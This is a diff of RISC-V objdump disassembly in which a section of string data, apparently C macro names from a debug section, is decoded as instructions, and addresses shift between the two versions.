+     7c2:	3431                	jal	1ce <__stack_size-0x632>
+     7c4:	7000                	flw	fs0,32(s0)
+     7c6:	7968                	flw	fa0,116(a0)
+     7c8:	72646173          	csrrsi	sp,0x726,8
+     7cc:	7020                	flw	fs0,96(s0)
+     7ce:	7968                	flw	fa0,116(a0)
+     7d0:	72646173          	csrrsi	sp,0x726,8
+     7d4:	745f 5f00 6e5f      	0x6e5f5f00745f
+     7da:	6565                	lui	a0,0x19
+     7dc:	5f64                	lw	s1,124(a4)
+     7de:	5f5f 6176 6c5f      	0x6c5f61765f5f
+     7e4:	7369                	lui	t1,0xffffa
+     7e6:	0074                	addi	a3,sp,12
+     7e8:	5f5f 4156 494c      	0x494c41565f5f
+     7ee:	5f205453          	0x5f205453
+     7f2:	675f 756e 5f63      	0x5f63756e675f
+     7f8:	6176                	flw	ft2,92(sp)
+     7fa:	6c5f 7369 0074      	0x7473696c5f
+     800:	5f555043          	fmadd.q	ft0,fa0,fs5,fa1,unknown
+     804:	5246                	lw	tp,112(sp)
+     806:	5145                	li	sp,-15
+     808:	3620                	fld	fs0,104(a2)
+     80a:	3934                	fld	fa3,112(a0)
+     80c:	3839                	jal	2a <__stack_size-0x7d6>
+     80e:	3434                	fld	fa3,104(s0)
+     810:	0032                	c.slli	zero,0xc
+     812:	7571                	lui	a0,0xffffc
+     814:	6461                	lui	s0,0x18
+     816:	7120                	flw	fs0,96(a0)
+     818:	6175                	addi	sp,sp,368
+     81a:	5f64                	lw	s1,124(a4)
+     81c:	0074                	addi	a3,sp,12
+     81e:	454c                	lw	a1,12(a0)
+     820:	5f44                	lw	s1,60(a4)
+     822:	4c42                	lw	s8,16(sp)
+     824:	4555                	li	a0,21
+     826:	3320                	fld	fs0,96(a4)
+     828:	5300                	lw	s0,32(a4)
+     82a:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
+     82e:	4d5f 5841 5f20      	0x5f2058414d5f
+     834:	535f 4843 5241      	0x52414843535f
+     83a:	4d5f 5841 5f5f      	0x5f5f58414d5f
+     840:	5300                	lw	s0,32(a4)
+     842:	4749                	li	a4,18
+     844:	415f 4f54 494d      	0x494d4f54415f
+     84a:	494d5f43          	fmadd.s	ft10,fs10,fs4,fs1,unknown
+     84e:	004e                	c.slli	zero,0x13
+     850:	5f5f 4853 5452      	0x545248535f5f
+     856:	575f 4449 4854      	0x48544449575f
+     85c:	5f5f 3120 0036      	0x3631205f5f
+     862:	4955                	li	s2,21
+     864:	544e                	lw	s0,240(sp)
+     866:	4d5f 5841 2820      	0x282058414d5f
+     86c:	4e49                	li	t3,18
+     86e:	5f54                	lw	a3,60(a4)
+     870:	414d                	li	sp,19
+     872:	2058                	fld	fa4,128(s0)
+     874:	202a                	fld	ft0,136(sp)
+     876:	5532                	lw	a0,44(sp)
+     878:	2b20                	fld	fs0,80(a4)
+     87a:	3120                	fld	fs0,96(a0)
+     87c:	2955                	jal	d30 <__stack_size+0x530>
+     87e:	5f00                	lw	s0,56(a4)
+     880:	505f 7028 6f72      	0x6f727028505f
+     886:	6f74                	flw	fa3,92(a4)
+     888:	70202973          	csrr	s2,0x702
+     88c:	6f72                	flw	ft10,28(sp)
+     88e:	6f74                	flw	fa3,92(a4)
+     890:	5f5f0073          	0x5f5f0073
+     894:	4e49                	li	t3,18
+     896:	5054                	lw	a3,36(s0)
+     898:	5254                	lw	a3,36(a2)
+     89a:	545f 5059 5f45      	0x5f455059545f
+     8a0:	205f 6e69 0074      	0x746e69205f
+     8a6:	5f5f 695f 746e      	0x746e695f5f5f
+     8ac:	6c5f 6165 7473      	0x747361656c5f
+     8b2:	745f3233          	0x745f3233
+     8b6:	645f 6665 6e69      	0x6e696665645f
+     8bc:	6465                	lui	s0,0x19
+     8be:	3120                	fld	fs0,96(a0)
+     8c0:	4600                	lw	s0,8(a2)
+     8c2:	5845                	li	a6,-15
+     8c4:	5f204c43          	fmadd.q	fs8,ft0,fs2,fa1,rmm
+     8c8:	4546                	lw	a0,80(sp)
+     8ca:	4358                	lw	a4,4(a4)
+     8cc:	004c                	addi	a1,sp,4
+     8ce:	74727473          	csrrci	s0,0x747,4
+     8d2:	2066646f          	jal	s0,66ad8 <__stack_size+0x662d8>
+     8d6:	74727473          	csrrci	s0,0x747,4
+     8da:	5f00666f          	jal	a2,6eca <__stack_size+0x66ca>
+     8de:	495f 544e 465f      	0x465f544e495f
+     8e4:	5341                	li	t1,-16
+     8e6:	3154                	fld	fa3,160(a0)
+     8e8:	5f36                	lw	t5,108(sp)
+     8ea:	54444957          	0x54444957
+     8ee:	5f48                	lw	a0,60(a4)
+     8f0:	205f 3233 5f00      	0x5f003233205f
+     8f6:	465f 544c 485f      	0x485f544c465f
+     8fc:	5341                	li	t1,-16
+     8fe:	495f 464e 4e49      	0x4e49464e495f
+     904:	5449                	li	s0,-14
+     906:	5f59                	li	t5,-10
+     908:	205f 0031 475f      	0x475f0031205f
+     90e:	4f4c                	lw	a1,28(a4)
+     910:	4142                	lw	sp,16(sp)
+     912:	5f4c                	lw	a1,60(a4)
+     914:	4552                	lw	a0,20(sp)
+     916:	4e45                	li	t3,17
+     918:	2054                	fld	fa3,128(s0)
+     91a:	675f 6f6c 6162      	0x61626f6c675f
+     920:	5f6c                	lw	a1,124(a4)
+     922:	6d69                	lui	s10,0x1a
+     924:	7570                	flw	fa2,108(a0)
+     926:	6572                	flw	fa0,28(sp)
+     928:	705f 7274 5f00      	0x5f007274705f
+     92e:	465f 544c 3231      	0x3231544c465f
+     934:	5f38                	lw	a4,120(a4)
+     936:	494d                	li	s2,19
+     938:	5f4e                	lw	t5,240(sp)
+     93a:	3031                	jal	146 <__stack_size-0x6ba>
+     93c:	455f 5058 5f5f      	0x5f5f5058455f
+     942:	2820                	fld	fs0,80(s0)
+     944:	342d                	jal	36e <__stack_size-0x492>
+     946:	3339                	jal	654 <__stack_size-0x1ac>
+     948:	2931                	jal	d64 <__stack_size+0x564>
+     94a:	5f00                	lw	s0,56(a4)
+     94c:	4552                	lw	a0,20(sp)
+     94e:	28363147          	fmsub.s	ft2,fa2,ft3,ft5,rup
+     952:	6162                	flw	ft2,24(sp)
+     954:	6f2c6573          	csrrsi	a0,0x6f2,24
+     958:	6666                	flw	fa2,88(sp)
+     95a:	29746573          	csrrsi	a0,0x297,8
+     95e:	2820                	fld	fs0,80(s0)
+     960:	282a                	fld	fa6,136(sp)
+     962:	6f76                	flw	ft10,92(sp)
+     964:	616c                	flw	fa1,68(a0)
+     966:	6974                	flw	fa3,84(a0)
+     968:	656c                	flw	fa1,76(a0)
+     96a:	7520                	flw	fs0,104(a0)
+     96c:	6e69                	lui	t3,0x1a
+     96e:	3174                	fld	fa3,224(a0)
+     970:	5f36                	lw	t5,108(sp)
+     972:	2074                	fld	fa3,192(s0)
+     974:	292a                	fld	fs2,136(sp)
+     976:	2828                	fld	fa0,80(s0)
+     978:	6162                	flw	ft2,24(sp)
+     97a:	20296573          	csrrsi	a0,hedeleg,18
+     97e:	6f28202b          	0x6f28202b
+     982:	6666                	flw	fa2,88(sp)
+     984:	29746573          	csrrsi	a0,0x297,8
+     988:	2929                	jal	da2 <__stack_size+0x5a2>
+     98a:	5f00                	lw	s0,56(a4)
+     98c:	725f 7369 7663      	0x76637369725f
+     992:	665f 6f6c 7461      	0x74616f6c665f
+     998:	615f 6962 735f      	0x735f6962615f
+     99e:	2074666f          	jal	a2,473a4 <__stack_size+0x46ba4>
+     9a2:	0031                	c.nop	12
+     9a4:	4e49                	li	t3,18
+     9a6:	5f54                	lw	a3,60(a4)
+     9a8:	4146                	lw	sp,80(sp)
+     9aa:	34365453          	0x34365453
+     9ae:	4d5f 5841 5f20      	0x5f2058414d5f
+     9b4:	495f 544e 465f      	0x465f544e495f
+     9ba:	5341                	li	t1,-16
+     9bc:	3654                	fld	fa3,168(a2)
+     9be:	5f34                	lw	a3,120(a4)
+     9c0:	414d                	li	sp,19
+     9c2:	5f58                	lw	a4,60(a4)
+     9c4:	005f 505f 4854      	0x4854505f005f
+     9ca:	4552                	lw	a0,20(sp)
+     9cc:	4441                	li	s0,16
+     9ce:	4d5f 5455 5845      	0x584554554d5f
+     9d4:	495f 494e 4954      	0x4954494e495f
+     9da:	4c41                	li	s8,16
+     9dc:	5a49                	li	s4,-14
+     9de:	5245                	li	tp,-15
+     9e0:	2820                	fld	fs0,80(s0)
+     9e2:	7028                	flw	fa0,96(s0)
+     9e4:	6874                	flw	fa3,84(s0)
+     9e6:	6572                	flw	fa0,28(sp)
+     9e8:	6461                	lui	s0,0x18
+     9ea:	6d5f 7475 7865      	0x786574756d5f
+     9f0:	745f 2029 7830      	0x78302029745f
+     9f6:	4646                	lw	a2,80(sp)
+     9f8:	4646                	lw	a2,80(sp)
+     9fa:	4646                	lw	a2,80(sp)
+     9fc:	4646                	lw	a2,80(sp)
+     9fe:	0029                	c.nop	10
+     a00:	4e49                	li	t3,18
+     a02:	5f54                	lw	a3,60(a4)
+     a04:	494d                	li	s2,19
+     a06:	204e                	fld	ft0,208(sp)
+     a08:	2d28                	fld	fa0,88(a0)
+     a0a:	4e49                	li	t3,18
+     a0c:	5f54                	lw	a3,60(a4)
+     a0e:	414d                	li	sp,19
+     a10:	2058                	fld	fa4,128(s0)
+     a12:	202d                	jal	a3c <__stack_size+0x23c>
+     a14:	2931                	jal	e30 <__stack_size+0x630>
+     a16:	5f00                	lw	s0,56(a4)
+     a18:	5355                	li	t1,-11
+     a1a:	4345                	li	t1,17
+     a1c:	53444e4f          	fnmadd.d	ft8,fs0,fs4,fa0,rmm
+     a20:	545f 445f 4345      	0x4345445f545f
+     a26:	414c                	lw	a1,4(a0)
+     a28:	4552                	lw	a0,20(sp)
+     a2a:	2044                	fld	fs1,128(s0)
+     a2c:	5f00                	lw	s0,56(a4)
+     a2e:	435f4353          	0x435f4353
+     a32:	4948                	lw	a0,20(a0)
+     a34:	444c                	lw	a1,12(s0)
+     a36:	4d5f 5841 3120      	0x312058414d5f
+     a3c:	5f00                	lw	s0,56(a4)
+     a3e:	705f 6572 6964      	0x69646572705f
+     a44:	745f7463          	bgeu	t5,t0,118c <__stack_size+0x98c>
+     a48:	7572                	flw	fa0,60(sp)
+     a4a:	2865                	jal	b02 <__stack_size+0x302>
+     a4c:	7865                	lui	a6,0xffff9
+     a4e:	2970                	fld	fa2,208(a0)
+     a50:	5f20                	lw	s0,120(a4)
+     a52:	625f 6975 746c      	0x746c6975625f
+     a58:	6e69                	lui	t3,0x1a
+     a5a:	655f 7078 6365      	0x63657078655f
+     a60:	2874                	fld	fa3,208(s0)
+     a62:	6528                	flw	fa0,72(a0)
+     a64:	7078                	flw	fa4,100(s0)
+     a66:	2c29                	jal	c80 <__stack_size+0x480>
+     a68:	3120                	fld	fs0,96(a0)
+     a6a:	0029                	c.nop	10
+     a6c:	52495f53          	0x52495f53
+     a70:	204f5857          	0x204f5857
+     a74:	5328                	lw	a0,96(a4)
+     a76:	495f 4f52 4854      	0x48544f52495f
+     a7c:	7c20                	flw	fs0,120(s0)
+     a7e:	5320                	lw	s0,96(a4)
+     a80:	495f 4f57 4854      	0x48544f57495f
+     a86:	7c20                	flw	fs0,120(s0)
+     a88:	5320                	lw	s0,96(a4)
+     a8a:	495f 4f58 4854      	0x48544f58495f
+     a90:	0029                	c.nop	10
+     a92:	5f5f 6c61 6769      	0x67696c615f5f
+     a98:	656e                	flw	fa0,216(sp)
+     a9a:	2864                	fld	fs1,208(s0)
+     a9c:	2978                	fld	fa4,208(a0)
+     a9e:	5f20                	lw	s0,120(a4)
+     aa0:	615f 7474 6972      	0x69727474615f
+     aa6:	7562                	flw	fa0,56(sp)
+     aa8:	6574                	flw	fa3,76(a0)
+     aaa:	5f5f 2828 5f5f      	0x5f5f28285f5f
+     ab0:	6c61                	lui	s8,0x18
+     ab2:	6769                	lui	a4,0x1a
+     ab4:	656e                	flw	fa0,216(sp)
+     ab6:	5f64                	lw	s1,124(a4)
+     ab8:	285f 2978 2929      	0x29292978285f
+     abe:	5f00                	lw	s0,56(a4)
+     ac0:	585f4353          	0x585f4353
+     ac4:	4e45504f          	fnmadd.q	ft0,fa0,ft4,fs1,unknown
+     ac8:	525f 4145 544c      	0x544c4145525f
+     ace:	4d49                	li	s10,18
+     ad0:	2045                	jal	b70 <__stack_size+0x370>
+     ad2:	3939                	jal	6f0 <__stack_size-0x110>
+     ad4:	5f00                	lw	s0,56(a4)
+     ad6:	4c5f4353          	0x4c5f4353
+     ada:	5645                	li	a2,-15
+     adc:	4c45                	li	s8,17
+     ade:	41435f33          	sra	t5,t1,s4
+     ae2:	5f454843          	fmadd.q	fa6,fa0,fs4,fa1,rmm
+     ae6:	455a4953          	0x455a4953
+     aea:	3120                	fld	fs0,96(a0)
+     aec:	5f003433          	0x5f003433
+     af0:	5f54                	lw	a3,60(a4)
+     af2:	5450                	lw	a2,44(s0)
+     af4:	4452                	lw	s0,20(sp)
+     af6:	4649                	li	a2,18
+     af8:	5f46                	lw	t5,112(sp)
+     afa:	0020                	addi	s0,sp,8
+     afc:	5f5f 444c 4c42      	0x4c42444c5f5f
+     b02:	445f 4749 5f5f      	0x5f5f4749445f
+     b08:	3320                	fld	fs0,96(a4)
+     b0a:	49420033          	0x49420033
+     b0e:	4e455f47          	fmsub.q	ft10,fa0,ft4,fs1,unknown
+     b12:	4944                	lw	s1,20(a0)
+     b14:	4e41                	li	t3,16
      b16:	5f20                	lw	s0,120(a4)
-     b18:	615f 7474 6972      	0x69727474615f
-     b1e:	7562                	flw	fa0,56(sp)
-     b20:	6574                	flw	fa3,76(a0)
-     b22:	5f5f 2828 5f5f      	0x5f5f28285f5f
-     b28:	6c61                	lui	s8,0x18
-     b2a:	6769                	lui	a4,0x1a
-     b2c:	656e                	flw	fa0,216(sp)
-     b2e:	5f64                	lw	s1,124(a4)
-     b30:	285f 2978 2929      	0x29292978285f
-     b36:	5f00                	lw	s0,56(a4)
-     b38:	585f4353          	0x585f4353
-     b3c:	4e45504f          	fnmadd.q	ft0,fa0,ft4,fs1,unknown
-     b40:	525f 4145 544c      	0x544c4145525f
-     b46:	4d49                	li	s10,18
-     b48:	2045                	jal	be8 <__stack_size+0x3e8>
-     b4a:	3939                	jal	768 <__stack_size-0x98>
-     b4c:	5f00                	lw	s0,56(a4)
-     b4e:	4c5f4353          	0x4c5f4353
-     b52:	5645                	li	a2,-15
-     b54:	4c45                	li	s8,17
-     b56:	41435f33          	sra	t5,t1,s4
-     b5a:	5f454843          	fmadd.q	fa6,fa0,fs4,fa1,rmm
-     b5e:	455a4953          	0x455a4953
-     b62:	3120                	fld	fs0,96(a0)
-     b64:	5f003433          	0x5f003433
-     b68:	5f54                	lw	a3,60(a4)
-     b6a:	5450                	lw	a2,44(s0)
-     b6c:	4452                	lw	s0,20(sp)
-     b6e:	4649                	li	a2,18
-     b70:	5f46                	lw	t5,112(sp)
-     b72:	0020                	addi	s0,sp,8
-     b74:	5f5f 444c 4c42      	0x4c42444c5f5f
-     b7a:	445f 4749 5f5f      	0x5f5f4749445f
-     b80:	3320                	fld	fs0,96(a4)
-     b82:	49420033          	0x49420033
-     b86:	4e455f47          	fmsub.q	ft10,fa0,ft4,fs1,unknown
-     b8a:	4944                	lw	s1,20(a0)
-     b8c:	4e41                	li	t3,16
-     b8e:	5f20                	lw	s0,120(a4)
-     b90:	4942                	lw	s2,16(sp)
-     b92:	4e455f47          	fmsub.q	ft10,fa0,ft4,fs1,unknown
-     b96:	4944                	lw	s1,20(a0)
-     b98:	4e41                	li	t3,16
-     b9a:	5f00                	lw	s0,56(a4)
-     b9c:	4350                	lw	a2,4(a4)
-     b9e:	4e5f 5f4f 5254      	0x52545f4f4e5f
-     ba4:	4e55                	li	t3,21
-     ba6:	00372043          	fmadd.s	ft0,fa4,ft3,ft0,rdn
-     baa:	535f 4454 494c      	0x494c4454535f
-     bb0:	5f42                	lw	t5,48(sp)
-     bb2:	5f48                	lw	a0,60(a4)
-     bb4:	0020                	addi	s0,sp,8
-     bb6:	465f 5453 4944      	0x49445453465f
-     bbc:	5f00204f          	fnmadd.q	ft0,ft0,fa6,fa1,rdn
-     bc0:	4c5f4353          	0x4c5f4353
-     bc4:	5645                	li	a2,-15
-     bc6:	4c45                	li	s8,17
-     bc8:	5f32                	lw	t5,44(sp)
-     bca:	48434143          	fmadd.s	ft2,ft6,ft4,fs1,rmm
-     bce:	5f45                	li	t5,-15
-     bd0:	5341                	li	t1,-16
-     bd2:	20434f53          	0x20434f53
-     bd6:	3331                	jal	8e2 <__stack_size+0xe2>
-     bd8:	0032                	c.slli	zero,0xc
-     bda:	4d44                	lw	s1,28(a0)
-     bdc:	5f41                	li	t5,-16
-     bde:	4556                	lw	a0,84(sp)
-     be0:	5f52                	lw	t5,52(sp)
-     be2:	2046464f          	fnmadd.s	fa2,fa2,ft4,ft4,rmm
-     be6:	7830                	flw	fa2,112(s0)
-     be8:	3030                	fld	fa2,96(s0)
-     bea:	5f00                	lw	s0,56(a4)
-     bec:	425f4353          	0x425f4353
-     bf0:	5241                	li	tp,-16
-     bf2:	4952                	lw	s2,20(sp)
-     bf4:	5245                	li	tp,-15
-     bf6:	36352053          	0x36352053
-     bfa:	5f00                	lw	s0,56(a4)
-     bfc:	4c42                	lw	s8,16(sp)
-     bfe:	5a49534b          	fnmsub.d	ft6,fs2,ft4,fa1,unknown
-     c02:	5f45                	li	t5,-15
-     c04:	5f54                	lw	a3,60(a4)
-     c06:	4544                	lw	s1,12(a0)
-     c08:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-     c0c:	4445                	li	s0,17
-     c0e:	0020                	addi	s0,sp,8
-     c10:	5f5f 6e75 6f62      	0x6f626e755f5f
-     c16:	6e75                	lui	t3,0x1d
-     c18:	6564                	flw	fs1,76(a0)
-     c1a:	2064                	fld	fs1,192(s0)
-     c1c:	4300                	lw	s0,0(a4)
-     c1e:	4f4c                	lw	a1,28(a4)
-     c20:	445f4b43          	0x445f4b43
-     c24:	5349                	li	t1,-14
-     c26:	4c41                	li	s8,16
-     c28:	4f4c                	lw	a1,28(a4)
-     c2a:	20444557          	0x20444557
-     c2e:	0030                	addi	a2,sp,8
-     c30:	535f 5f43 4854      	0x48545f43535f
-     c36:	4552                	lw	a0,20(sp)
-     c38:	4441                	li	s0,16
-     c3a:	545f 5248 4145      	0x41455248545f
-     c40:	5344                	lw	s1,36(a4)
-     c42:	4d5f 5841 3420      	0x342058414d5f
-     c48:	0030                	addi	a2,sp,8
-     c4a:	4b454553          	0x4b454553
-     c4e:	535f 5445 3020      	0x30205445535f
-     c54:	5f00                	lw	s0,56(a4)
-     c56:	725f 7369 7663      	0x76637369725f
-     c5c:	635f 6f6d 6564      	0x65646f6d635f
-     c62:	5f6c                	lw	a1,124(a4)
-     c64:	656d                	lui	a0,0x1b
-     c66:	6164                	flw	fs1,68(a0)
-     c68:	796e                	flw	fs2,248(sp)
-     c6a:	3120                	fld	fs0,96(a0)
-     c6c:	4d00                	lw	s0,24(a0)
-     c6e:	4c55                	li	s8,21
-     c70:	4954                	lw	a3,20(a0)
-     c72:	4f5a                	lw	t5,148(sp)
-     c74:	454e                	lw	a0,208(sp)
-     c76:	485f 0020 4342      	0x43420020485f
-     c7c:	445f 4d49 4d5f      	0x4d5f4d49445f
-     c82:	5841                	li	a6,-16
-     c84:	3220                	fld	fs0,96(a2)
-     c86:	3430                	fld	fa2,104(s0)
-     c88:	0038                	addi	a4,sp,8
-     c8a:	424d                	li	tp,19
-     c8c:	435f 5255 4d5f      	0x4d5f5255435f
-     c92:	5841                	li	a6,-16
-     c94:	5f20                	lw	s0,120(a4)
-     c96:	6c5f 636f 6c61      	0x6c61636f6c5f
-     c9c:	5f65                	li	t5,-7
-     c9e:	626d                	lui	tp,0x1b
-     ca0:	635f 7275 6d5f      	0x6d5f7275635f
-     ca6:	7861                	lui	a6,0xffff8
-     ca8:	2928                	fld	fa0,80(a0)
-     caa:	5f00                	lw	s0,56(a4)
-     cac:	445f 4c42 485f      	0x485f4c42445f
-     cb2:	5341                	li	t1,-16
-     cb4:	495f 464e 4e49      	0x4e49464e495f
-     cba:	5449                	li	s0,-14
-     cbc:	5f59                	li	t5,-10
-     cbe:	205f 0031 4d5f      	0x4d5f0031205f
-     cc4:	5f42                	lw	t5,48(sp)
-     cc6:	454c                	lw	a1,12(a0)
-     cc8:	5f4e                	lw	t5,240(sp)
-     cca:	414d                	li	sp,19
-     ccc:	2058                	fld	fa4,128(s0)
-     cce:	0031                	c.nop	12
-     cd0:	5f5f 6f6e 6c5f      	0x6c5f6f6e5f5f
-     cd6:	5f6b636f          	jal	t1,b72cc <__stack_size+0xb6acc>
-     cda:	6e61                	lui	t3,0x18
-     cdc:	6c61                	lui	s8,0x18
-     cde:	7379                	lui	t1,0xffffe
-     ce0:	7369                	lui	t1,0xffffa
-     ce2:	5f20                	lw	s0,120(a4)
-     ce4:	6c5f 636f 5f6b      	0x5f6b636f6c5f
-     cea:	6e61                	lui	t3,0x18
-     cec:	6f6e                	flw	ft10,216(sp)
-     cee:	6174                	flw	fa3,68(a0)
-     cf0:	6574                	flw	fa3,76(a0)
-     cf2:	6e28                	flw	fa0,88(a2)
-     cf4:	68745f6f          	jal	t5,46b7a <__stack_size+0x4637a>
-     cf8:	6572                	flw	fa0,28(sp)
-     cfa:	6461                	lui	s0,0x18
-     cfc:	735f 6661 7465      	0x74656661735f
-     d02:	5f79                	li	t5,-2
-     d04:	6e61                	lui	t3,0x18
-     d06:	6c61                	lui	s8,0x18
-     d08:	7379                	lui	t1,0xffffe
-     d0a:	7369                	lui	t1,0xffffa
-     d0c:	0029                	c.nop	10
-     d0e:	535f 5359 535f      	0x535f5359535f
-     d14:	5359                	li	t1,-10
-     d16:	494c                	lw	a1,20(a0)
+     b18:	4942                	lw	s2,16(sp)
+     b1a:	4e455f47          	fmsub.q	ft10,fa0,ft4,fs1,unknown
+     b1e:	4944                	lw	s1,20(a0)
+     b20:	4e41                	li	t3,16
+     b22:	5f00                	lw	s0,56(a4)
+     b24:	4350                	lw	a2,4(a4)
+     b26:	4e5f 5f4f 5254      	0x52545f4f4e5f
+     b2c:	4e55                	li	t3,21
+     b2e:	00372043          	fmadd.s	ft0,fa4,ft3,ft0,rdn
+     b32:	535f 4454 494c      	0x494c4454535f
+     b38:	5f42                	lw	t5,48(sp)
+     b3a:	5f48                	lw	a0,60(a4)
+     b3c:	0020                	addi	s0,sp,8
+     b3e:	465f 5453 4944      	0x49445453465f
+     b44:	5f00204f          	fnmadd.q	ft0,ft0,fa6,fa1,rdn
+     b48:	4c5f4353          	0x4c5f4353
+     b4c:	5645                	li	a2,-15
+     b4e:	4c45                	li	s8,17
+     b50:	5f32                	lw	t5,44(sp)
+     b52:	48434143          	fmadd.s	ft2,ft6,ft4,fs1,rmm
+     b56:	5f45                	li	t5,-15
+     b58:	5341                	li	t1,-16
+     b5a:	20434f53          	0x20434f53
+     b5e:	3331                	jal	86a <__stack_size+0x6a>
+     b60:	0032                	c.slli	zero,0xc
+     b62:	4d44                	lw	s1,28(a0)
+     b64:	5f41                	li	t5,-16
+     b66:	4556                	lw	a0,84(sp)
+     b68:	5f52                	lw	t5,52(sp)
+     b6a:	2046464f          	fnmadd.s	fa2,fa2,ft4,ft4,rmm
+     b6e:	7830                	flw	fa2,112(s0)
+     b70:	3030                	fld	fa2,96(s0)
+     b72:	5f00                	lw	s0,56(a4)
+     b74:	425f4353          	0x425f4353
+     b78:	5241                	li	tp,-16
+     b7a:	4952                	lw	s2,20(sp)
+     b7c:	5245                	li	tp,-15
+     b7e:	36352053          	0x36352053
+     b82:	5f00                	lw	s0,56(a4)
+     b84:	4c42                	lw	s8,16(sp)
+     b86:	5a49534b          	fnmsub.d	ft6,fs2,ft4,fa1,unknown
+     b8a:	5f45                	li	t5,-15
+     b8c:	5f54                	lw	a3,60(a4)
+     b8e:	4544                	lw	s1,12(a0)
+     b90:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+     b94:	4445                	li	s0,17
+     b96:	0020                	addi	s0,sp,8
+     b98:	5f5f 6e75 6f62      	0x6f626e755f5f
+     b9e:	6e75                	lui	t3,0x1d
+     ba0:	6564                	flw	fs1,76(a0)
+     ba2:	2064                	fld	fs1,192(s0)
+     ba4:	5f00                	lw	s0,56(a4)
+     ba6:	495f 544e 4c5f      	0x4c5f544e495f
+     bac:	4145                	li	sp,17
+     bae:	36315453          	0x36315453
+     bb2:	575f 4449 4854      	0x48544449575f
+     bb8:	5f5f 3120 0036      	0x3631205f5f
+     bbe:	535f 5f43 4854      	0x48545f43535f
+     bc4:	4552                	lw	a0,20(sp)
+     bc6:	4441                	li	s0,16
+     bc8:	545f 5248 4145      	0x41455248545f
+     bce:	5344                	lw	s1,36(a4)
+     bd0:	4d5f 5841 3420      	0x342058414d5f
+     bd6:	0030                	addi	a2,sp,8
+     bd8:	4b454553          	0x4b454553
+     bdc:	535f 5445 3020      	0x30205445535f
+     be2:	5f00                	lw	s0,56(a4)
+     be4:	725f 7369 7663      	0x76637369725f
+     bea:	635f 6f6d 6564      	0x65646f6d635f
+     bf0:	5f6c                	lw	a1,124(a4)
+     bf2:	656d                	lui	a0,0x1b
+     bf4:	6164                	flw	fs1,68(a0)
+     bf6:	796e                	flw	fs2,248(sp)
+     bf8:	3120                	fld	fs0,96(a0)
+     bfa:	4d00                	lw	s0,24(a0)
+     bfc:	4c55                	li	s8,21
+     bfe:	4954                	lw	a3,20(a0)
+     c00:	4f5a                	lw	t5,148(sp)
+     c02:	454e                	lw	a0,208(sp)
+     c04:	485f 0020 4342      	0x43420020485f
+     c0a:	445f 4d49 4d5f      	0x4d5f4d49445f
+     c10:	5841                	li	a6,-16
+     c12:	3220                	fld	fs0,96(a2)
+     c14:	3430                	fld	fa2,104(s0)
+     c16:	0038                	addi	a4,sp,8
+     c18:	424d                	li	tp,19
+     c1a:	435f 5255 4d5f      	0x4d5f5255435f
+     c20:	5841                	li	a6,-16
+     c22:	5f20                	lw	s0,120(a4)
+     c24:	6c5f 636f 6c61      	0x6c61636f6c5f
+     c2a:	5f65                	li	t5,-7
+     c2c:	626d                	lui	tp,0x1b
+     c2e:	635f 7275 6d5f      	0x6d5f7275635f
+     c34:	7861                	lui	a6,0xffff8
+     c36:	2928                	fld	fa0,80(a0)
+     c38:	5f00                	lw	s0,56(a4)
+     c3a:	445f 4c42 485f      	0x485f4c42445f
+     c40:	5341                	li	t1,-16
+     c42:	495f 464e 4e49      	0x4e49464e495f
+     c48:	5449                	li	s0,-14
+     c4a:	5f59                	li	t5,-10
+     c4c:	205f 0031 4d5f      	0x4d5f0031205f
+     c52:	5f42                	lw	t5,48(sp)
+     c54:	454c                	lw	a1,12(a0)
+     c56:	5f4e                	lw	t5,240(sp)
+     c58:	414d                	li	sp,19
+     c5a:	2058                	fld	fa4,128(s0)
+     c5c:	0031                	c.nop	12
+     c5e:	575f 4e41 5f54      	0x5f544e41575f
+     c64:	4f49                	li	t5,18
+     c66:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
+     c6c:	4f44                	lw	s1,28(a4)
+     c6e:	4255                	li	tp,21
+     c70:	454c                	lw	a1,12(a0)
+     c72:	3120                	fld	fs0,96(a0)
+     c74:	5f00                	lw	s0,56(a4)
+     c76:	6e5f 5f6f 6f6c      	0x6f6c5f6f6e5f
+     c7c:	615f6b63          	bltu	t5,s5,1292 <__stack_size+0xa92>
+     c80:	616e                	flw	ft2,216(sp)
+     c82:	796c                	flw	fa1,116(a0)
+     c84:	20736973          	csrrsi	s2,0x207,6
+     c88:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+     c8e:	615f 6e6e 746f      	0x746f6e6e615f
+     c94:	7461                	lui	s0,0xffff8
+     c96:	2865                	jal	d4e <__stack_size+0x54e>
+     c98:	6f6e                	flw	ft10,216(sp)
+     c9a:	745f 7268 6165      	0x61657268745f
+     ca0:	5f64                	lw	s1,124(a4)
+     ca2:	65666173          	csrrsi	sp,0x656,12
+     ca6:	7974                	flw	fa3,116(a0)
+     ca8:	615f 616e 796c      	0x796c616e615f
+     cae:	29736973          	csrrsi	s2,0x297,6
+     cb2:	5f00                	lw	s0,56(a4)
+     cb4:	5f535953          	0x5f535953
+     cb8:	4c535953          	0x4c535953
+     cbc:	4d49                	li	s10,18
+     cbe:	5449                	li	s0,-14
+     cc0:	5f485f53          	0x5f485f53
+     cc4:	0020                	addi	s0,sp,8
+     cc6:	565f 5f41 494c      	0x494c5f41565f
+     ccc:	445f5453          	0x445f5453
+     cd0:	4645                	li	a2,17
+     cd2:	4e49                	li	t3,18
+     cd4:	4445                	li	s0,17
+     cd6:	0020                	addi	s0,sp,8
+     cd8:	5f5f 4853 5452      	0x545248535f5f
+     cde:	4d5f 5841 5f5f      	0x5f5f58414d5f
+     ce4:	3020                	fld	fs0,96(s0)
+     ce6:	3778                	fld	fa4,232(a4)
+     ce8:	6666                	flw	fa2,88(sp)
+     cea:	0066                	c.slli	zero,0x19
+     cec:	4e49                	li	t3,18
+     cee:	4d54                	lw	a3,28(a0)
+     cf0:	5841                	li	a6,-16
+     cf2:	4d5f 4e49 2820      	0x28204e494d5f
+     cf8:	492d                	li	s2,11
+     cfa:	544e                	lw	s0,240(sp)
+     cfc:	414d                	li	sp,19
+     cfe:	5f58                	lw	a4,60(a4)
+     d00:	414d                	li	sp,19
+     d02:	2058                	fld	fa4,128(s0)
+     d04:	202d                	jal	d2e <__stack_size+0x52e>
+     d06:	2931                	jal	1122 <__stack_size+0x922>
+     d08:	5f00                	lw	s0,56(a4)
+     d0a:	465f 544c 3233      	0x3233544c465f
+     d10:	445f 4e45 524f      	0x524f4e45445f
+     d16:	5f4d                	li	t5,-13
